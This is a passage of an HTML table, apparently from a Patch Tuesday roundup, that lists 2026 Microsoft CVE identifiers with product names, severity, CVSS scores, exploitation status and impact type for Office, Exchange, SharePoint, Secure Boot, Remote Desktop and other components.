  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
